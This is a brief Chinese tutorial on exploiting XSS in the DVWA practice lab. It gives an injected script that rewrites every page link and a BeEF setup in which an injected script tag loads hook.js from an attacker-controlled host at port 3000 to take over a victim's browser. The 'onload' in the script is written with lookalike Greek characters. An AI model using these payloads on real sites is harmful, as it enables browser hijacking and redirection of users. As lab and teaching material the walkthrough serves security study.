xss跳转代码_XSS漏洞(恶意链接)

一、环境：DVWA

二、修改网页链接

1、点击下面的网址，访问的是不同的内容

2、通过xss漏洞，修改这些网址都指向百度

window.onload：当窗口加载时，执行匿名函数

<script>

window.οnlοad=function(){

var link=document.getElementsByTagName("a");

for(j=0;j<link.length;j++){

link[j].href="百度一下，你就知道";

}

}

</script>

3、在漏洞处输入上面代码，提交

4、点击这些网址，都是跳转到百度，查看审查元素

三、生成恶意链接（kali攻击，win7被攻击）

1、kali启动beff-xss

2、启动apache服务：service apache2 start

3、cd /var/www/html

修改index.html

<script src="http://控制端ip:3000/hook.js"></script>

4、在xss漏洞处，输入<script src="http://控制端ip:3000/hook.js"></script>，提交

5、被控端上线

禁止非法，后果自负

欢迎关注公众号：web安全工具库